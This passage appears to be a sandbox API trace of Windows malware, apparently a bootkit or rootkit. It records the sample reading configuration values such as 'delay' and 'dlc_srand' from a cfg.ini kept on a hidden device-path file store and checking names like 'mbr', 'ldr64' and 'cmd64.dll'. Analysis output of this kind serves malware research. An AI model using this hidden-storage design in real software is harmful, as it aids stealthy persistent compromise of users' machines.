(lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0118.303] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.303] KeEnterCriticalRegion () [0118.303] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.303] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.303] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.303] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.303] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.303] IdePortDispatch () returned 0x103 [0118.303] KeWaitForMutexObject () returned 0x0 [0118.303] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.303] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.303] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.303] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.303] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.303] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.303] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.303] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.303] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.304] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.304] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.304] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.304] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.304] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.304] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.304] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.304] KeLeaveCriticalRegion () [0118.304] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.304] ReleaseMutex (hMutex=0x100) returned 1 [0118.304] Sleep (dwMilliseconds=0x2bf20) [0118.310] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x69b6d3d0, dwHighDateTime=0x1d24fa4)) [0118.310] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0118.310] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.310] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.310] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.310] KeEnterCriticalRegion () [0118.310] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.310] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.310] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.310] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.310] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.310] IdePortDispatch () returned 0x103 [0118.316] KeWaitForMutexObject () returned 0x0 [0118.316] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.316] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.316] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.316] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.316] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.316] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ad2c40 [0118.316] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.316] KeLeaveCriticalRegion () [0118.317] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.317] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.317] KeEnterCriticalRegion () [0118.317] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.317] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.317] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.317] KeLeaveCriticalRegion () [0118.317] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.317] KeEnterCriticalRegion () [0118.317] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.317] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.317] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.317] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.317] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.317] IdePortDispatch () returned 0x103 [0118.317] KeWaitForMutexObject () returned 0x0 [0118.317] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.317] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.317] KeLeaveCriticalRegion () [0118.317] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.317] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.317] KeEnterCriticalRegion () [0118.317] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.317] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cb3000 [0118.317] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.317] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.317] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.317] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.317] IdePortDispatch () returned 0x103 [0118.318] KeWaitForMutexObject () returned 0x0 [0118.318] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.318] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.318] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.318] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.318] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.318] IdePortDispatch () returned 0x103 [0118.318] KeWaitForMutexObject () returned 0x0 [0118.318] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.318] KeLeaveCriticalRegion () [0118.318] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.319] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.319] KeEnterCriticalRegion () [0118.319] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.319] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.319] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.319] KeLeaveCriticalRegion () [0118.319] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.319] KeEnterCriticalRegion () [0118.319] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.319] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.319] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003adb990, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.319] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.319] KeLeaveCriticalRegion () [0118.319] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.319] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.319] KeEnterCriticalRegion () [0118.319] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.319] ExFreePoolWithTag (P=0xfffffa8003ad2c40, Tag=0x0) [0118.319] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.319] KeLeaveCriticalRegion () [0118.319] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.319] ReleaseMutex (hMutex=0xf0) returned 1 [0118.319] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.319] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.319] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.319] KeEnterCriticalRegion () [0118.319] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.319] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.319] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.319] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.319] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.319] IdePortDispatch () returned 0x103 [0118.319] KeWaitForMutexObject () returned 0x0 [0118.320] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.320] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.320] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.320] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.320] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.320] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003963830 [0118.320] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.320] KeLeaveCriticalRegion () [0118.320] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.320] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.320] KeEnterCriticalRegion () [0118.320] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.320] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.320] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.320] KeLeaveCriticalRegion () [0118.320] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.320] KeEnterCriticalRegion () [0118.320] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.320] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.320] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.320] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.320] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.320] IdePortDispatch () returned 0x103 [0118.320] KeWaitForMutexObject () returned 0x0 [0118.320] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.320] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.321] KeLeaveCriticalRegion () [0118.321] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.321] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.321] KeEnterCriticalRegion () [0118.321] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.321] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cb4000 [0118.321] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.321] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.321] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.321] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.321] IdePortDispatch () returned 0x103 [0118.321] KeWaitForMutexObject () returned 0x0 [0118.321] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.321] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.321] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.321] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.321] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.321] IdePortDispatch () returned 0x103 [0118.322] KeWaitForMutexObject () returned 0x0 [0118.322] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.322] KeLeaveCriticalRegion () [0118.322] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.322] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.322] KeEnterCriticalRegion () [0118.322] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.322] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.322] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.322] KeLeaveCriticalRegion () [0118.322] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.322] KeEnterCriticalRegion () [0118.322] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.322] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.322] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.322] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.322] KeLeaveCriticalRegion () [0118.323] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.323] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.323] KeEnterCriticalRegion () [0118.323] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.323] ExFreePoolWithTag (P=0xfffffa8003963830, Tag=0x0) [0118.323] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.323] KeLeaveCriticalRegion () [0118.323] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.323] ReleaseMutex (hMutex=0xf0) returned 1 [0118.323] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.323] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0118.323] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.323] KeEnterCriticalRegion () [0118.323] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.323] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.323] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.323] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.323] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.323] IdePortDispatch () returned 0x103 [0118.323] KeWaitForMutexObject () returned 0x0 [0118.323] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.323] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.323] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.323] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.323] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.323] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d1810 [0118.323] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.323] KeLeaveCriticalRegion () [0118.323] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.323] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.323] KeEnterCriticalRegion () [0118.323] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.323] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.323] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.323] KeLeaveCriticalRegion () [0118.324] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.324] KeEnterCriticalRegion () [0118.324] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.324] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.324] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.324] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.324] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.324] IdePortDispatch () returned 0x103 [0118.324] KeWaitForMutexObject () returned 0x0 [0118.324] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.324] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.324] KeLeaveCriticalRegion () [0118.324] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.324] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.324] KeEnterCriticalRegion () [0118.324] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.324] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cb5000 [0118.324] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.324] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.324] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.324] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.324] IdePortDispatch () returned 0x103 [0118.324] KeWaitForMutexObject () returned 0x0 [0118.324] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.324] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.324] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.324] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.324] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.324] IdePortDispatch () returned 0x103 [0118.325] KeWaitForMutexObject () returned 0x0 [0118.325] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.325] KeLeaveCriticalRegion () [0118.325] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.325] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.325] KeEnterCriticalRegion () [0118.325] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.325] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.325] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.325] KeLeaveCriticalRegion () [0118.325] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.325] KeEnterCriticalRegion () [0118.325] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.325] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.325] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aae5e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.325] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.325] KeLeaveCriticalRegion () [0118.325] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.325] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.325] KeEnterCriticalRegion () [0118.325] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.325] ExFreePoolWithTag (P=0xfffffa80039d1810, Tag=0x0) [0118.325] ExReleaseFastMutexUnsafe (in: 